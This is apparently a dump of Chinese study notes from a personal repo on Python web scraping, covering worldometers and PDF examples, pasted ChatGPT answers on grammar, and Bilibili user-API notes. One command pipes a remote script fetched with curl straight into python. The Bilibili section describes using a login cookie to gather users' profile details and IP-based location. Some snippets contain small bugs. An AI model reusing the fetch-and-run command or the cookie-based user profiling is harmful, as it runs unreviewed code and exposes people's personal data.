print('请求失败。')
```
文档:
* https://docs.python.org/3/tutorial/inputoutput.html#reading-and-writing-files
* https://requests.readthedocs.io/en/latest/
### 更改保存位置
[吾爱破解 -【shell】压缩包密码暴破脚本 #5](https://www.52pojie.cn/forum.php?mod=redirect&goto=findpost&ptid=1775990&pid=46442685) 所提到的“提一嘴python的跨平台,可以用os.path或者[pathlib](https://docs.python.org/zh-cn/3/library/pathlib.html)模块规范化路径”。有必要试用一下。
```python
import os
# 1. 获取用户下载目录(使用 os.path.expanduser 方法)
download_dir = os.path.join(os.path.expanduser('~'), 'Downloads')
# 2. 拼接文件路径(使用 os.path.join 方法)
file_path = os.path.join(download_dir, 'example.html')
```
整合 `file_path = os.path.join(os.path.expanduser('~'), 'Downloads', 'example.html')`
文档:[csdn-python3文件路径操作常用方法带示例详解(os.path模块,os.listdir,os.walk,os.scandir方法等)(不定期更新整理中)](https://blog.csdn.net/yl19870518/article/details/128572201)
### 转换成PDF
文档:https://github.com/JazzCore/python-pdfkit (注意 `brew install wkhtmltopdf`)
```python
import pdfkit
import requests
url = 'https://www.example.com/'
response = requests.get(url)
# 将网页内容转换为 PDF 并保存到本地
pdfkit.from_string(response.text, 'example.pdf')
```
### 整合
```python
import requests,pdfkit,os
url = 'https://www.example.com'
download_dir = os.path.join(os.path.expanduser('~'), 'Downloads')
file_path = os.path.join(download_dir, 'example.pdf')
response = requests.get(url)
# 状态码正常
if response.status_code == 200:
pdfkit.from_string(response.text,file_path)
else:
print('请求失败。')
```
================================================
FILE: AQUICK/CPYTHON/pachong002.md
================================================
## 简单爬虫示例二
### 简例一
`pip install requests`
```python
import requests
url = 'https://www.example.com'
response = requests.get(url)
# 状态码正常
if response.status_code == 200:
# wb 以二进制写入,以避免出现编码转换错误和数据截断等问题,稳定且通用。
# 在 with 块中打开的资源会在块结束时自动关闭,无论原始代码是否引发异常。
with open('example.html', 'wb') as f:
f.write(response.text)
print('网页内容已保存到 example.html 文件!')
else:
print('请求失败。')
```
### 测试获取PDF文件名
方案并不完美。就 core.ac.uk 的文档而言,PASS
`pip install PyPDF`
```
import PyPDF2
# 打开PDF文件
with open('/Users/chanlonhoo/Downloads/41446488.pdf', 'rb') as pdf_file:
# 创建一个PDF文档读取器对象
pdf_reader = PyPDF2.PdfReader(pdf_file)
# 获取第一页的标题
first_page = pdf_reader.pages[0]
title = first_page.extract_text()
# 输出标题
print(title)
```
### 其他(23.4.23 9:07pm)
打算做个有关于简繁中文及日文筛选,之后看情况进行一次分类。我想中文、日文、英文做个统计,用柱状图或饼图简单分析对比一下。(优先)
竟然无法做到总量统计,那么就找关键词吧:教育、社会、经济、人口
今天对数字区间做个粗略定位,就闲暇时想看相关联的文章,把链接的数字加一或减一就行了。
4144,简中区:
```
- 41441111 电脑信息技术
- 41442077-41443077 材料化工
- 41444001 环境
- 41445011-41446015 教育、应试
- 41447011-41448015 经济
- 41449015 公共服务领域企业分析
```
日文没什么太多规律性,忽略;查看了37980827文献,推测香港也会输出不少英文资料,毕竟曾经香港是英治的,那么台湾的话,很有可能哦。繁中在这个网站上也没太有规律性,不少文献相对较封闭。
本想测试下繁中的,但太过封闭,而且链接多半也不规律,还是批量测一下简中的http status 200吧(靠后)。
### 实际测试过程中(23.4.24 10:13am)
chatgpt回答
```
如果您在代码中使用了正确的选择器,但仍然无法提取所需元素的内容,则可能是由于以下几个原因之一:
1. 该网站可能会拒绝爬虫程序访问其站点。为了防止滥用和保护其网站的稳定性,某些网站可能会限制对其内容的访问。您可以尝试使用代理服务器或更改请求头来规避此问题。
2. 所需元素可能是动态生成的。某些网站使用JavaScript动态生成其内容,这意味着在页面加载后才能够查看和提取它们。在这种情况下,您可以使用Selenium WebDriver等工具来模拟浏览器并等待页面加载后再提取所需数据。
3. 您的选择器可能不正确。请确保您正在使用正确的CSS选择器或XPath表达式来选择所需元素。您可以尝试使用Web开发工具(例如Chrome的开发者工具)来检查页面源代码,并获取所需元素的确切位置和标识符。
4. 您的Python库(如requests和BeautifulSoup)可能已损坏或未正确安装。请确保您已正确安装并使用了最新版本的这些库。
5. 如果您正在使用Windows操作系统,则可能需要在命令提示符窗口中使用chcp命令设置正确的代码页。这可以解决在使用非ASCII字符时出现乱码的问题。
如果您仍然无法解决问题,请提供更多细节,以便我们更好地了解问题所在。
```
接下来考虑webUI自动化的事
================================================
FILE: AQUICK/CPYTHON/pachong003.md
================================================
# demo py
## 获取网站标题
简单的获取网站标题 demo
```
import requests
from bs4 import BeautifulSoup
# 定义需要爬取的网页链接
url = 'https://www.baidu.com/'
# 使用requests库获取页面内容
html = requests.get(url).content
# 使用BeautifulSoup解析HTML文件,并找到页面标题
soup = BeautifulSoup(html,'lxml')
title = soup.title.string
# 输出页面标题
print('Title is:', title)
```
设置防爬
```
# 设置请求头,防止反爬
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}
# 定义需要爬取的网页链接
url = 'https://www.baidu.com/'
# 使用requests库获取页面内容
html = requests.get(url, headers=headers).content
```
## 获取网站指定元素内容0.1
因为是实时数据,所以会显示为 "世界人口: 数据获取中...",只能通过webui自动化来实现了。
参考[51cto-静态网页爬虫① ](https://blog.51cto.com/u_15743016/5549456)
```
import requests
import time
from bs4 import BeautifulSoup
url = "https://www.worldometers.info/cn/"
# 使用 requests 库获取页面内容
r = requests.get(url)
html_content = r.content
# 使用 BeautifulSoup 解析 HTML 文件,并找到页面中指定的元素(这里以世界人口为例)
soup = BeautifulSoup(html_content, 'html.parser')
world_population_element = soup.find_all('div', attrs={'class': 'counter'})[0].find('span')
# 输出世界人口数据
print("世界人口:", world_population_element.text)
```
通过 [cnblogs -(数据科学学习手札50)基于Python的网络数据采集-selenium篇(上)](https://www.cnblogs.com/feffery/p/9570171.html)、[csdn-基于python爬虫————静态页面和动态页面爬取](https://blog.csdn.net/qq_52661119/article/details/119854694) 这两篇文章,看来目前的通行办法就是webUI自动化了。
## 获取网站指定元素内容0.2
```
import sys
from selenium import webdriver
from bs4 import BeautifulSoup
driver = webdriver.Chrome() # 声明浏览器对象,使用 Chrome 浏览器
driver.get("https://www.worldometers.info/cn/") # 跳转到指定网址
# 获取网页源码并传给 BeautifulSoup 解析
soup = BeautifulSoup(driver.page_source, 'html.parser')
# 使用 select_one() 方法获取第一个匹配要求的元素
current_population_words = soup.select_one('span.item')
# 使用 select_one() 方法获取第一个匹配要求的元素
current_population_numbers = soup.select_one('span.rts-counter')
# BS文档:https://beautifulsoup.cn
# selenium:https://selenium-python-zh.readthedocs.io/en/latest/index.html
print(current_population_words.text, current_population_numbers.text)
```
## demo
遍历 https://www.worldometers.info/cn 列表统计
```python
from selenium import webdriver
from bs4 import BeautifulSoup
# 参考
# BS文档:https://beautifulsoup.cn
# selenium:https://selenium-python-zh.readthedocs.io/en/latest/index.html
driver = webdriver.Chrome() # 声明浏览器对象,使用 Chrome 浏览器
driver.get("https://www.worldometers.info/cn/") # 跳转到指定网址
# 获取网页源码并传给 BeautifulSoup 解析
soup = BeautifulSoup(driver.page_source, 'html.parser')
# 查找所有 <span class=item /> 与 <span class=rts-counter />
current_population_words = soup.find_all('span',class_='item')
current_population_num = soup.find_all('span',class_='rts-counter')
for current_population_words in current_population_words:
print(current_population_words.text)
for current_population_num in current_population_num:
print(current_population_num.text)
```
## 格式左右不对齐
```python
# 创建一个名为 "output.csv" 的 CSV 文件
with open("output.csv", "w", newline='', encoding='utf-8-sig') as csvfile:
# 指定列名
fieldnames = ['Column A', 'Column B']
writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
# 写入表头
writer.writeheader()
for current_population_words in current_population_words:
# 写入数据
writer.writerow({'Column A': current_population_words.text})
for current_population_num in current_population_num:
writer.writerow({'Column B': current_population_num.text})
```
## 理想情况
A列数与比B列数相一致,但堕胎项存在重复
```python
# 查找所有 <span class=item /> 与 <span class=rts-counter />
current_population_words = soup.find_all('span',class_='item')
current_population_num = soup.find_all('span',class_='rts-counter')
# 创建一个名为 "output.csv" 的 CSV 文件
with open("output.csv", "w", newline='', encoding='utf-8-sig') as csvfile:
# 指定列名
fieldnames = ['Column A', 'Column B']
writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
# 写入表头
writer.writeheader()
for i in range(num_elements):
row_data = {'Column A': current_population_words[i].text, 'Column B': current_population_num[i].text}
writer.writerow(row_data)
```
## 卡bug
最后通过if continue这样卡bug搞定,故意从53行开始,而excel却是按着52行表写的,抵消掉了多余重复行带来的困扰。
```python
# 重复值标记
duplicate_value = 1
# 下标数以current_population_num为准
num_elements = len(current_population_num)
# 创建一个名为 "output.csv" 的 CSV 文件
with open("output.csv", "w", newline='', encoding='utf-8-sig') as csvfile:
# 指定列名
fieldnames = ['Column A','Column B']
writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
# 创建一个名为 "output.csv" 的 CSV 文件
with open("output.csv", "w", newline='', encoding='utf-8-sig') as csvfile:
# 指定列名
fieldnames = ['Column A', 'Column B']
writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
# 写入表头
writer.writeheader()
for i in range(num_elements):
duplicate_value = duplicate_value+1
if duplicate_value == 52:
continue
row_data = {'Column A': current_population_words[i].text, 'Column B': current_population_num[i].text}
writer.writerow(row_data)
```
================================================
FILE: AQUICK/CPYTHON/pachong004.md
================================================
# 写了一个关于 worldmeter 的爬虫
worldometerworldometer这里提供关于人口、政府、经济、社会、媒体、环境、食物、水、能源和健康的世界实时统计数据的网站。实时数据,一时半会没什么用,看个乐子,但如果我们想它保存为季度、年度的分类,那价值还挺高的。基于这个想法,我才做的这方面的爬虫。
这是第三次写python脚本了吧,第一次是jupyter测试写笔记、玩玩简单数据可视化,第二次是NTFS for Mac,第三次就爬虫这次了,之后再此基础上,整点数据可视化的东西看看效果。
爬虫csv效果(仅39、40,略有瑕疵,删掉多余 `=-` ,问题不大)

本地及在线测试图

在线测试
`python -c "$(curl -fsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/ihs-simple/main/d-python/get_worldometers.py)"`

**Windows运行的话,一般是在c:/Windows/System32或自己的家目录**
附源码:https://github.com/hoochanlon/ihs-simple/blob/main/d-python/get_worldometers.py
```python
from selenium import webdriver
from bs4 import BeautifulSoup
import csv
from datetime import datetime
# 参考
# BS文档:https://beautifulsoup.cn
# selenium:https://selenium-python-zh.readthedocs.io/en/latest/index.html
# ------------- webUI初始化配置 ----------------------------
driver = webdriver.Chrome()
driver.get("https://www.worldometers.info/cn/")
# 获取网页源码并传给 BeautifulSoup 解析
soup = BeautifulSoup(driver.page_source, 'html.parser')
# ------------将获取的数据提取出特定列,并写入到创建的csv------------- #
# 查找所有 <span class=item /> 与 <span class=rts-counter />
current_population_words = soup.find_all('span',class_='item')
current_population_num = soup.find_all('span',class_='rts-counter')
# ---------- 新增:以时间作为文件名后缀(2023-4-26) ---------------
# 获取当前时间
now = datetime.now()
# 将时间格式化为指定的字符串格式
formatted_time = now.strftime('%Y-%-m-%-d')
# ------------ 将获取的数据提取出特定列 ---------------------------
# 重复值标记
duplicate_value = 1
# 下标数以current_population_num为准
num_elements = len(current_population_num)
# 创建一个名为 "output.csv" 的 CSV 文件(旧)
# {} 占位符,在字符串中使用 {},在 .format() 中传入相应的变量或者值来替换它
with open("worldometers_{}.csv".format(formatted_time), "w", newline='', encoding='utf-8-sig') as csvfile:
# 指定列名
fieldnames = ['Column A','Column B']
writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
# 写入表头
writer.writeheader()
for i in range(num_elements):
duplicate_value = duplicate_value+1
if duplicate_value == 52:
continue
row_data = {'Column A': current_population_words[i].text, 'Column B': current_population_num[i].text}
writer.writerow(row_data)
```
## worldmeter后记
### 缘起
一开始本打算写开放研究论文综合搜索 [core.ac.uk](https://core.ac.uk) 的批量下载并匹配文献书名的爬虫,但后来一想,自己似乎没什么实质性的必要。以前看知网、复印刊、院校报(社科版)的比较多,后来随着工作与生活中的琐事所占时间越来越多,相对来说逐渐慢慢地也看得少了,一个月下来,平时偶尔看了一两篇就不错了。
举个例来说,就以[陈武元-《日本高等教育与经济发展的关系》](https://core.ac.uk/download/pdf/41446488.pdf) 链接为例
* https://core.ac.uk/download/pdf/41446488.pdf
* https://core.ac.uk/reader/41446488
download、reader都挺有规律性的,将“41446488”改成 https://core.ac.uk/reader/41446487,就是《日本高等教育改革的动向》的论文。也挺适合爬的,但没这么做,原因前面也说了。后来搜集统计相关的资料,找到了[knoema](https://cn.knoema.com)、[worldometers](https://www.worldometers.info/cn/),看到[worldometers](https://www.worldometers.info/cn/)实时动态数据也还不错,但没做年度报表,那么就让我帮他写一个吧。
### 遇到三个主要问题
**跨语言快速上手例子的选择上**
[51cto-静态网页爬虫①](https://blog.51cto.com/u_15743016/5549456),倒是给我启发还蛮大的,因为网上搜的例子稍较复杂,基础例子又太过“敷衍”了。从它的给出例子,再看看[BS官方文档](https://beautifulsoup.cn)、[selenium官方文档](https://selenium-python-zh.readthedocs.io/en/latest/index.html),代码编写与调试的起步就舒服多了。
**获取网站动态内容的延迟问题**
在requests与time.sleep配合依旧是“获取数据中”的状态,那就以慢制慢咯,反爬也随缘处理,使用 webUI自动化来解决了。还有参考了[cnblogs -(数据科学学习手札50)基于Python的网络数据采集-selenium篇(上)](https://www.cnblogs.com/feffery/p/9570171.html)、[csdn-基于python爬虫—静态页面和动态页面爬取](https://blog.csdn.net/qq_52661119/article/details/119854694)也是让我选择webUI自动化的原因。

**下标数据存在重复项及其解决方案选取问题**
"Abortions this year"的中文项span class索引52存在重复的问题,英文版没有;但也存在其他class值选取上的难点。根据代码运行测试观察发现,只要做个标记值用`if continue`就好了。至于其他xlsx、csv追加、拼接、文件合并,调试起来有些麻烦,尤其是在Mac上,难说vb行不行得通,对于我来说不太适用,自己也不大喜这偏方。
注意源码的`current_population_words = soup.find_all('span',class_='item')`与 `if continue` 部分
简中版

原版

### 跨语言的综合感受
个人方面,跨语言有时语法搞混,实际上跟你切macOS/win10 UI及快捷键有点类似,一般都是用到才拿出来,适应一小段时间就好了。通常来说,备手基础文档,然后就是一个例子之类的,之后再结合自己的想法,接下来就是,如何去变通与实现了。
写python爬虫和shell/batch自动化,算是两个不同方向吧。一个偏web浏览器,涉及html/css/js 之类,以及网络应用层等方面的知识;另一个偏向系统软件、存储文件属性这方面吧。说难度吧,shell/batch好方便入手,其实也是看谁方便用谁,明确知道自己想要什么,就行。但往深了走,实际上没什么行业又是不难的。
================================================
FILE: AQUICK/CPYTHON/pacong005.text
================================================
## 0x01
热搜通常是指搜索量较高的热门话题,它们往往是人们最为关注和讨论的话题。在热搜中,使用副词的频率可能会比一般新闻报道更高,因为这些话题往往涉及到更多的情感表达、评论和解读。
具体来说,热搜中使用副词的频率会受到以下几个方面的影响:
话题的性质:如果热搜中的话题属于社会热点、娱乐八卦、体育赛事等领域,那么使用副词的频率可能会比较高,因为这类话题更容易引起人们的情感共鸣和争议。
媒体的倾向:不同的媒体有不同的报道风格和定位,一些媒体可能更加注重主观解读和情感表达,因此在其报道中使用副词的频率可能也会相应提高。
受众的需求:热搜话题的受众非常广泛,他们对于话题的态度、看法和立场各不相同,一些人希望了解更多的事实和数据,而另一些人则更关注情感表达和个人意见。因此,在处理热搜话题时,使用副词的频率也会有所不同。
总之,热搜中使用副词的频率与话题本身、媒体的报道风格以及受众需求等因素密切相关。热搜中出现的语言往往是口语化、俚语化的,甚至有些是新词或者网络流行语。因此,对于热搜中的语言分析,需要具备一定的语言学知识和对当下社会文化的了解。
关于副词和状语的划分,其实也是一个比较复杂的问题。一般来说,副词是修饰动词、形容词、其他副词或整个句子的词,而状语则是表示时间、地点、方式、原因等情况的成分,可以是一个单词,也可以是短语或从句。但在实际语境中,有些副词也可以兼有状语的功能,例如"他快速地跑回家"中的"快速地"即可以看作是副词,也可以看作是描述跑步方式的状语。
总之,要准确地找出副词、状语,并进行语言分析,需要综合考虑语言学理论、实际语境以及对当下社会文化的了解。
## 0x02
Stanza 库是一个自然语言处理工具包,它基于现代神经网络和深度学习技术来进行文本处理。在数字识别方面,Stanza 库使用了先进的文本分析算法来对文本进行自动分词和词性标注等操作,并可以精确地识别出数字。因此,在你提及“二百五”这个词时,Stanza 库会将其识别为一个数字,因为它实际上是一个基数词,表示数字 250。但需要注意的是,即使Stanza库能够识别数字,它并不能理解数字所代表的含义或情感色彩,如同样的数字在不同的上下文中可能会有不同的含义,这需要更高级的自然语言处理技术来进行理解和分析。
## 字典分类
从分类上来看,理论上数据越多,相对也就越精确。
```
category_keywords = {
'社会': ['强盗', '刺杀', '击毙', '抢劫', '砍死', '车祸', '坠楼', '爆炸', '火灾', '失踪', '遇害','骚扰', 毒品', '性侵', '猥亵', '打架', '斗殴'],
'娱乐': ['婚礼', '离婚', '恋情', '绯闻', '受贿', '吸毒','自曝'],
'政治': ['独立','日治台湾','英治香港','资本主义','国家'],
'科技': ['AI', '区块链', '5G', '卫星', '智能手机', '电子竞技', '网络安全', '虚拟现实'],
'体育': ['世界杯', '奥运会', '冠军', '进球', '比赛', '退役', '受伤', '养伤', '乌龙球', '犯规']
}
```
## chatgpt回答有关于“语言”的问题
### 定语
#### 定语词汇
定语是用来修饰名词或代词的语言成分,其作用是进一步具体化、说明名词或代词所表示的事物的性质、特征、状态、数量等。常见的定语包括以下几种类型:
* 形容词:表示某物的性质、特征或状态,如“红色的”,“漂亮的”等。
* 名词:用名词来修饰另一个名词,如“学生宿舍”。
* 动词的现在分词:表示某种状态或行为正在进行,如“唱歌的人”。
* 动词的过去分词:表示某种状态或行为已经完成,如“写好的论文”。
* 数词:表示数目或数量属性,如“两个苹果”。
* 代词:用代词来修饰另一个名词,如“我的书”。
* 副词:表示程度或方式等,如“非常美丽的风景”。
* 介词短语:通过介词短语来修饰名词,如“在家里的桌子”。
* 不定式:用不定式来修饰名词,如“要做的事情”。
以上就是一些常见的定语词汇类型。不同类型的定语有不同的修饰作用,可以对名词起到更加精准的修饰说明作用,使其更具体、更清晰明了。**定语体系非常庞大,因为从语法上来说,几乎任何一种词类都可以作为定语。此外,在实际使用中,人们经常创造新的定语形式,以便更加精确地表达自己的意思。因此,只要是用来修饰名词或代词的语言成分,都可以被看作是定语。** 在实际应用中,我们需要具备较强的语言能力和文化背景知识才能够清晰地理解和运用各种定语类型。在语言学的研究中,也有很多对定语进行分类和定义的研究,以更好地揭示和理解其语言学本质和文化特色。
看新闻时要注意到定语的原因是定语能够提供更多的信息,帮助我们更好地理解新闻内容。新闻报道中的词汇往往会有很多限制性和非限制性定语,这些定语可以为新闻内容提供更精确的描述,从而让读者更好地理解事件或事物的特征、背景等信息,并对新闻内容做出更准确的判断。比如,在一篇报道中,我们可能会看到这样的句子:“经过长时间的调查,警方终于找到了一名涉嫌杀人的嫌疑人。”这个句子中,定语“经过长时间的调查”和“涉嫌杀人的”都是非常重要的,它们为新闻事件的发生过程和嫌疑人的身份提供了关键信息。如果我们忽略了这些定语,我们就可能会误解新闻事件的真实情况。因此,在看新闻时,理解并注意定语的使用是非常重要的。
不同的新闻主题、类型、风格等方面都会影响其使用定语的频率。但是从整体上看,新闻中相对较多的是谓语和宾语,主语和状语次之,使用定语的频率相对较低。这是因为新闻报道注重简洁准确,强调信息的直达,过多的修饰方式可能会影响信息传递的效果。但是在某些特定类型的新闻中,如文艺评论、文化报道等,则可能会出现更多的定语修饰,以表现出文章的细节和情感色彩。
在新闻报道中,定语可以通过形容词或者形容性的短语来修饰名词,从而对事物进行具体的描述和限定,补充了它的特点和属性。**由于形容词所传递的信息往往更为丰富、细致,因此使用定语可以更加精准地传达作者的态度情感、观点和感受,进而影响读者对新闻事件的感知和理解。** 通过使用一些具有情感色彩的形容词或短语,如“温馨的场面”、“残酷的现实”、“痛苦的回忆”等,定语可以为新闻报道增添一些文学化的情感色彩,提升新闻的艺术性和吸引力,更好地满足读者的审美需求。
名词和形容词都可以用作定语,具体使用哪一种取决于所描述的对象以及表达的意思。一般来说,名词作为定语时会更加具体和直接,而形容词则更加主观和抽象。举例来说,如果想要描述一只猫的颜色,可以使用形容词(例如 "黑色的猫"),也可以使用名词(例如 "黑猫")。但如果想要描述一个公司的业务领域,则使用名词作为定语更加合适,例如 "金融科技公司"。不过需要注意的是,名词和形容词虽然可以互相替换,但在不同的语境下可能有不同的含义,需要根据具体情况进行选择。
### 为什么有些动词会有形容词那种生动的画面感,被些政客用到就是植入意识色彩咯?
有些动词由于具有形象、直观的意义,因此衍生出的形容词也往往带有强烈的视觉效果或真实感受。这种现象可以称为“视觉化”或“感官化”。通常这些形容词与一些动作相关,例如 "滴答滴答"、"咔嚓一声"、"飞快地跑" 等等,它们能够让读者通过简短而精准的语言,更加生动地感受到文本中所描写的情景。此外,这些形容词的使用也可以增强文章的情感色彩,让读者更加深入地理解作者的内心世界。因此,这种形容词在文学作品和日常生活中都被广泛使用。
您提出的问题本质上涉及了语言运用在不同领域中所产生的差异。动词和形容词作为语言的重要组成部分,它们通过在语境中的使用来进行信息传递和意义表达。在文学作品和日常交流中,视觉化或感官化的形容词被广泛应用,能够让读者产生强烈的画面感受和情感共鸣,具有很高的表现力和感染力。但在政治、广告等领域中,这种效果也被广泛应用,被称为"植入性广告"或"洗脑广告"。这些广告利用了人类感知机理的特殊性质,通过不断重复和强调某个语言单位(如一个词、一个形容词等),以期达到心理暗示和价值观塑造的目的。因此,我们需要通过批判性思维和思辨能力,识别并避免意识形态色彩的植入。
### 原则上的语言表达与现实的反差
非常感谢您提供的问题。根据您提供的互联网知识,可以看出新闻中相对较多的是谓语和宾语,主语和状语次之,定语的频率通常是相对较低的。这种情况在英文的新闻报道中尤为明显,因为英语语言的语序较为严谨,新闻语言也必须尽可能简洁、准确、清晰地传递信息。
然而,实际的国内新闻报道的情况却有所不同。一些新闻媒体在报道时更注重语言的表现力和感染力,会大量使用形容词、定语等修饰语,以突出事物的特征和个性化。此外,还有一些精心编辑的新闻标题和导语,采用了较为夸张、渲染的手法,以吸引读者的眼球,增强新闻的点击量和影响力。这种现象可能与媒体市场形式以及受众需求等因素有关,需要结合具体情况加以分析。知识来源链接:
参考来源:
* [知乎 - 英语新闻标题有哪些规则?](https://www.zhihu.com/question/340307817)
* [知乎专栏 -【秒懂语法】状语是什么?干什么用的?](https://zhuanlan.zhihu.com/p/40109772)
文本挖掘技术通常包括以下几个步骤:
1. 首先,对原始文本数据进行预处理,如文本分词、去除噪声、提取关键词等。
2. 其次,根据研究的需要,选择适当的算法和模型进行特征提取、分类、聚类、情感分析等操作。
3. 最后,根据实际需求将挖掘结果进行可视化、报告或整合。
数据清洗虽然也属于数据预处理的范畴,但是它在文本挖掘中并不算作一种方法。文本挖掘主要是指从文本数据中获取有价值的信息和知识,而数据清洗则是为了解决数据质量问题而进行的数据预处理步骤。
### 状语
确实,定语是用来修饰名词、代词,包括前置定语和后置定语两种形式;而状语则是修饰动词、形容词或者副词,提供有关动作或状态的信息。
### 宾补
可以明确的是,本质上宾补和定语都是用来修饰名词或代词的语言成分,它们可以补充、限定、描述或者说明名词或代词的状态、性质、特征或所处的状态等等。需要注意的是,宾补和定语都可以用形容词来构成,但宾补和定语是两种不同的语法成分,具有不同的语法作用。
宾语补足语本身是语言学中的一种语法成分,是用来描述句子中动宾关系的一种修饰语。但是,由于人们在日常生活中使用语言时往往是带有情感色彩的,因此对于某些话题或具体的语句,可能会让人联想到某些特定的情感或体验。此外,宾语补足语也经常出现在文学作品、电影剧本等情境中,这些作品往往具有强烈的情绪化表达和描写,所以我们可能会将宾语补足语与情感色彩联系在一起。因此,你感觉宾语补足语充满了一种浓浓的情绪化,也许是受到了这些因素的影响。
新闻报道中的宾补一般用于补充说明宾语的状态或者是为了进一步描述宾语。通过对宾语进行进一步的修饰和描述,宾补可以起到强调、夸张或评价的作用,从而使得新闻报道更具有感染力和表现力。例如,在报道一场比赛时,可以使用宾语补足语"击败对手"来描述获胜方的状态,或者使用宾语补足语"被狠狠批评"来描述某个人受到的惩罚或责备。在新闻报道中适当地使用宾补能够使报道更加准确、生动、鲜明,并让读者更好地理解和接受新闻内容。
================================================
FILE: AQUICK/CPYTHON/pythonBshit001.md
================================================
## 基础信息
https://account.bilibili.com/api/member/getCardByMid?mid=212535360
https://api.bilibili.com/x/space/acc/info?mid=298220126(容易风控)
价值信息:
性别、年龄真实的参考性不大,只能读出如今世代的人们,不少对隐私方面还蛮重视的。
签名,从一定程度上,可以判定对B站平台定制化内容方面的参与度,爱好这方面的个性化。
文章数量,在该平台上的文字内容贡献。
```
name
sex
birthday
sign
article
```
标签设置的人相对小众,忽略。
https://api.bilibili.com/x/space/acc/tags?mid=1556651916
用户关注对象,ID转用户名
## 点赞
最近点赞的视频,从一定程度上可以反应其取向,但有时是流水刷的,或操作失误点的。外人访问一般是未公开了。
https://api.bilibili.com/x/space/like/video?vmid=212535360
判断方面,如果没有 tname、title 字段,直接置N/A 或 "用户隐私设置未公开"。
## 收藏与带货
整体看上去不是特别准。位置:https://github.com/SocialSisterYi/bilibili-API-collect/blob/master/docs/user/space.md
https://api.bilibili.com/x/v3/fav/folder/collected/list?up_mid=293793435&ps=20&pn=1
查看用户的发布课程:
https://api.bilibili.com/pugv/app/web/season/page?mid=33683045&ps=5&pn=1
https://api.bilibili.com/pugv/app/web/season/page?mid=298220126&ps=5&pn=1
## 警告信息与黑名单
用户的警告信息,搜索 notice 关键字:https://github.com/SocialSisterYi/bilibili-API-collect/blob/master/docs/user/info.md
调查用户的警告信息有风控,见:https://github.com/SocialSisterYi/bilibili-API-collect/blob/master/docs/misc/sign/wbi.md
黑名单
https://api.bilibili.com/x/credit/blocked/info?id=1556651916
```
curl -G 'https://api.bilibili.com/x/credit/blocked/info' \
--data-urlencode 'id=1091621'
```
出处:https://github.com/SocialSisterYi/bilibili-API-collect/blob/master/docs/blackroom/banlist.md
## 评论
热门评论API:https://api.bilibili.com/x/v2/reply/main?next=1&type=1&oid=402448083
差不多:https://api.bilibili.com/x/v2/reply?jsonp&type=1&oid=402448083&sort=2&pn=
评论点赞数:https://github.com/SocialSisterYi/bilibili-API-collect/blob/master/docs/comment/readme.md
json格式值
```shell
# 用户ID
json['data']['replies'][0]['member']['mid']
# 用户名
json['data']['replies'][0]['member']['uname']
# 评论
json['data']['replies'][0]['content']['message']
# 归属地
json['data']['replies'][0]['reply_control']['location']
# 时间戳
json['data']['replies'][0]['ctime']
# 点赞数
json['data']['replies'][0]['like']
# 总回复
json['data']['replies'][0]['reply_control']['sub_reply_entry_text']
```
## 差异
在浏览器常规访问下能正常通过`json['data']['replies'][0]['reply_control']['location']` 调用。
但是不带cookie是无法获取到`json['data']['replies'][0]['reply_control']['location']`的,不存在这一项。
webUI自动化,登录b站,获取元素内容,加载json,获取IP归属。
默认值及最大是20条评论
评论取出来的条目数有时候是20条,有时候是15条,每条评论都不一定是一样的。
## cookie
1. 用你的浏览器,打开开发者工具,找到cookie
1. https://uutool.cn/cookie2json/ 将cookie转换为json格式
## webdriver
webdriver的源文件通常不太固定。


================================================
FILE: AQUICK/CPYTHON/readme.md
================================================
# 用 chatgpt 学 python 简单示例
### 爬虫API
以下是Python爬虫相关文档,可以供您参考:
* Python官方文档:https://docs.python.org/3/library/index.html
* requests库文档:https://docs.python-requests.org/en/latest/
* BeautifulSoup库文档:https://www.crummy.com/software/BeautifulSoup/bs4/doc/
* Scrapy框架文档:https://docs.scrapy.org/en/latest/
* Selenium库文档:https://selenium-python.readthedocs.io/
* PyQuery库文档:https://pyquery.readthedocs.io/en/latest/
* Regex正则表达式文档:https://docs.python.org/3/library/re.html
* PDFKit库文档:https://pdfkit.org/docs/
* WeasyPrint库文档:https://weasyprint.readthedocs.io/en/latest/
这些文档包含了Python爬虫中常用的工具和技术的详细介绍和使用方法。通过阅读这些文档,您可以更深入地了解Python爬虫的工作原理、常见问题和解决方案等内容,并且能够根据自己的需求来选择合适的工具和库进行开发。以下是常用的Python爬虫库和框架以及它们的主要目的:
```
* requests:一个Python HTTP客户端库,可以轻松地向Web服务器发送HTTP请求并获取响应数据。
* BeautifulSoup:一个HTML和XML解析器,用于从Web页面中提取信息或解析XML结构化文档。
* Scrapy:一个Python Web爬虫框架,可以通过简化爬虫开发流程来快速抓取大量网页数据。
* Selenium:一个自动化Web测试工具,可以使用Python编写脚本来控制浏览器进行动态网站的爬取和操作。
* PyQuery:类似于jQuery的Python库,用于解析HTML和XML文档并进行选择和操作元素。
* Regex:Python标准库中的正则表达式模块,用于匹配和搜索字符串文本中的模式。
* PDFKit:一个Python wkhtmltopdf包装器,可以使用HTML和CSS生成PDF文件。
* WeasyPrint:用于将HTML和CSS转换为PDF文件的Python库。
```
这些库和框架都有其独特的功能和用途,并且可以混合使用以实现更复杂的爬虫任务。例如,您可以使用requests和BeautifulSoup来解析静态网页,然后使用Selenium来模拟用户行为,抓取动态网页数据。此外,PyQuery可以与BeautifulSoup一起使用,帮助您更方便地操作HTML元素。最后,PDFKit和WeasyPrint可以帮助您将爬取到的数据转换为PDF格式进行保存和共享。
================================================
FILE: AQUICK/CRuby/readme.txt
================================================
[csdn - Ruby on Rails 入门之:(6) Ruby中常用运算符](https://blog.csdn.net/watkinsong/article/details/8019461)
titles.first(3).each do |title| 语法糖
存在不少语法糖,难怪说所谓简洁。
通过对语法糖的了解反倒是很让代码与逻辑更完善。
```
# 将解压出来的文件夹移动到指定目录下
puts "正在移动解压后的文件夹到 #{theme_path} ..."
FileUtils.move(Dir.glob(File.join(unzip_path, '**', '*')), theme_path, :force => true)
```
开放格式API:https://www.fileformat.com/zh/
https://www.tairaengineer-note.com/ruby-rubyxl-specify-sheet-name/
https://www.cnblogs.com/dajianshi/p/11613060.html
================================================
